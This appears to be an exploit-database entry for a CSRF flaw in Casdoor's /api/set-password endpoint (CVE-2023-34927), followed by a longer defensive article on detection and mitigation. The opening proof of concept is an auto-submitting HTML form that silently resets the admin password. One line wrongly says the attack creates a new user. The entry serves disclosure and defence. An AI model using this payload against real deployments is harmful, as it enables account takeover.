Casdoor < v1.331.0 - '/api/set-password' CSRF

Exploit Author: Van Lam Nguyen Analysis Author: www.bubbleslearn.ir Category: WebApps Language: HTML Published Date: 2024-04-02
# Exploit Title: Casdoor < v1.331.0 - '/api/set-password' CSRF
# Application: Casdoor
# Version: <= 1.331.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Tested on: Windows
# CVE : CVE-2023-34927

Overview
==================================================
Casdoor v1.331.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked


Casdoor /api/set-password CSRF (CVE-2023-34927) — overview and mitigation

This article explains the Cross-Site Request Forgery (CSRF) weakness that affected Casdoor up to v1.331.0, the security impact, and practical, developer-focused mitigations. It focuses on defensive code patterns, detection techniques, and deployment best practices you can implement to harden password-reset and other sensitive endpoints.

Quick summary

  • Vulnerability class: Cross-Site Request Forgery (CSRF)
  • Affected software: Casdoor <= v1.331.0
  • CVE: CVE-2023-34927
  • Impact: An authenticated user’s password could be changed without the user’s consent if they visited a malicious page while logged in.
  • Primary cause: state-changing endpoint (/api/set-password) accepted requests that could be triggered cross-origin without requiring a per-request anti-CSRF token or adequate re-authentication checks.

What is CSRF and why it matters for password endpoints?

Cross-Site Request Forgery occurs when a web application accepts state-changing requests that are forged from an attacker-controlled page, leveraging the victim’s existing authentication (cookies, session). Password changes are highly sensitive: if an attacker can force a victim to change their password, they can lock the legitimate user out and take over accounts.

Technical root cause (high level)

Common CSRF root causes include:

  • State-changing endpoints (POST/PUT/DELETE) that accept requests without validating a per-session or per-request CSRF token.
  • Endpoints that rely only on cookies for authentication and do not re-validate user credentials (for example, not requiring the current password when changing to a new password).
  • Missing or permissive same-origin protections (missing Origin/Referer checks or permissive CORS configuration).

Impact and risk considerations

  • Attackers do not need the victim’s credentials if the victim is already authenticated in their browser.
  • Password reset/change endpoints are targeted because they directly change account control.
  • Automated compromise is possible if many users access attacker-controlled pages while authenticated.

Detection and indicators of exploitation

Look for these signs in logs and telemetry:

  • Unexpected password-change events originating from unusual user-agents or referrers.
  • Multiple password-change requests for accounts from a small set of IPs or with similar payload patterns.
  • Successful POSTs to /api/set-password occurring without an explicit user-initiated flow (e.g., no preceding reset token or MFA event recorded).

Primary remediation strategy

The safest and recommended remediation path is to upgrade Casdoor to a version that includes the official fix. If immediate upgrade is not possible, apply the following mitigations to harden the endpoint:

  • Require proof of knowledge for password changes — for example, supply and verify the current password or require a password-reset token sent to the user’s email.
  • Implement server-side CSRF protections: per-session CSRF tokens, double-submit cookie pattern, and/or validate the Origin/Referer header.
  • Set session cookies with SameSite=strict or SameSite=lax where appropriate and mark them Secure and HttpOnly.
  • Enforce re-authentication or secondary verification (MFA) for sensitive actions.

Concrete defensive code patterns

Below are safe, defensive code snippets demonstrating server-side CSRF validation (middleware) and requiring current-password verification for a password-change handler. These are illustrative and framework-agnostic; adapt to your stack.

1) Example: Double-submit CSRF token verification (server-side)

// Go-like pseudocode: CSRF middleware (double-submit cookie pattern)
func CsrfMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Only validate for state-changing methods
        if r.Method == "GET" || r.Method == "HEAD" || r.Method == "OPTIONS" {
            next.ServeHTTP(w, r)
            return
        }

        // Read token from custom header
        headerToken := r.Header.Get("X-CSRF-Token")
        // Read token from cookie
        cookie, err := r.Cookie("csrf_token")
        if err != nil || cookie.Value == "" || headerToken == "" {
            http.Error(w, "missing CSRF token", http.StatusForbidden)
            return
        }

        // Constant-time compare
        if subtle.ConstantTimeCompare([]byte(cookie.Value), []byte(headerToken)) != 1 {
            http.Error(w, "invalid CSRF token", http.StatusForbidden)
            return
        }

        next.ServeHTTP(w, r)
    })
}

Explanation: This middleware enforces a double-submit cookie pattern. When a user session is created, the server sets a random token in a cookie (csrf_token). Client-side JavaScript copies that cookie value into a header (X-CSRF-Token) for state-changing requests. The server then compares the cookie value and header value using a constant-time compare. The attacker's site cannot read cookies from the target origin, so it cannot craft a matching header.

2) Example: Require current password verification in password-change handler

// Go-like pseudocode: set-password handler with current password verification
func SetPasswordHandler(w http.ResponseWriter, r *http.Request) {
    // Parse and validate input
    userName := r.FormValue("userName")
    current := r.FormValue("currentPassword")
    newPass := r.FormValue("newPassword")

    if userName == "" || newPass == "" || current == "" {
        http.Error(w, "missing fields", http.StatusBadRequest)
        return
    }

    user := db.FindUserByName(userName)
    if user == nil {
        http.Error(w, "user not found", http.StatusNotFound)
        return
    }

    // Verify the provided current password before allowing change
    if !VerifyPassword(user.PasswordHash, current) {
        http.Error(w, "incorrect current password", http.StatusUnauthorized)
        return
    }

    // Optional: additionally require CSRF token validation (middleware)
    hashed := HashPassword(newPass)
    db.UpdatePassword(user.ID, hashed)
    w.WriteHeader(http.StatusOK)
    w.Write([]byte("password updated"))
}

Explanation: This handler explicitly requires the caller to provide the user's current password as proof of knowledge before changing to a new password. Requiring the current password blocks simple CSRF attacks that rely solely on the victim's active session, because an attacker cannot know the victim’s current password.

3) Example: Origin/Referer header check (additional layer)

// Simple origin check: reject requests without correct Origin/Referer
func OriginCheckMiddleware(allowedOrigin string, next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if r.Method == "GET" || r.Method == "HEAD" {
            next.ServeHTTP(w, r)
            return
        }

        origin := r.Header.Get("Origin")
        // Fallback to Referer if Origin not present (browsers differ)
        if origin == "" {
            ref := r.Header.Get("Referer")
            if ref != "" {
                origin = extractOrigin(ref)
            }
        }

        if origin == "" || origin != allowedOrigin {
            http.Error(w, "invalid origin", http.StatusForbidden)
            return
        }

        next.ServeHTTP(w, r)
    })
}

Explanation: Origin and Referer checks provide defense-in-depth. For same-origin requests sent by browsers, these headers are present and set to the application origin. Requests that originate from attacker pages typically have a different origin and are rejected. This should be used alongside CSRF tokens, not as the only protection.

Cookie configuration recommendations

  • Set session cookies with SameSite=strict or SameSite=lax (default depending on UX needs) to mitigate cross-site sending of cookies.
  • Use Secure and HttpOnly flags for session cookies.
  • For very-sensitive flows (account recovery, password change), consider requiring re-authentication or MFA instead of relying solely on cookie protections.

Operational recommendations

  • Upgrade Casdoor to the fixed version as soon as possible. Official vendor patches usually address the root cause and corner cases.
  • Enable detailed logging for password-change events and alert on anomalies.
  • Perform a code review of all state-changing endpoints to ensure CSRF defenses and re-auth requirements are present.
  • Rotate sessions or force logout after password changes to invalidate existing sessions.
  • Communicate with users as appropriate if suspicious changes are detected (notify via email and require confirmation links).

Detection signatures and monitoring ideas

  • Log POSTs to /api/set-password with metadata: IP, user-agent, Referer, Origin, and whether a current-password was supplied and validated.
  • Create alerts for password-change requests that lack referer/origin or where referer/origin are external.
  • Monitor for repeated unsuccessful VerifyPassword attempts immediately followed by a successful password change — possible account takeover attempts.

Responsible disclosure and timeline notes

If you discover a similar vulnerability in an open-source or commercial project, follow responsible disclosure: privately notify maintainers with clear reproduction steps and suggested mitigations, allow reasonable time for a fix and coordinated disclosure, and provide guidance about affected versions. Public disclosure should include CVE references and patch information once fixes are available.

Summary checklist

TaskRecommended action
ImmediateUpgrade to patched Casdoor release; if not possible, implement CSRF middleware and require current password for changes.
Short-termEnable SameSite cookies, add Origin/Referer checks, and log password-change events.
Long-termRequire MFA or email confirmation for critical account changes; run regular security reviews and automated scans.

For implementers: focus on defense-in-depth — CSRF tokens, secure cookie attributes, origin checks, and proof-of-knowledge for password updates together provide robust protection. If you maintain Casdoor deployments, prioritize upgrading to the fixed release and validate your password-change flows for these protections.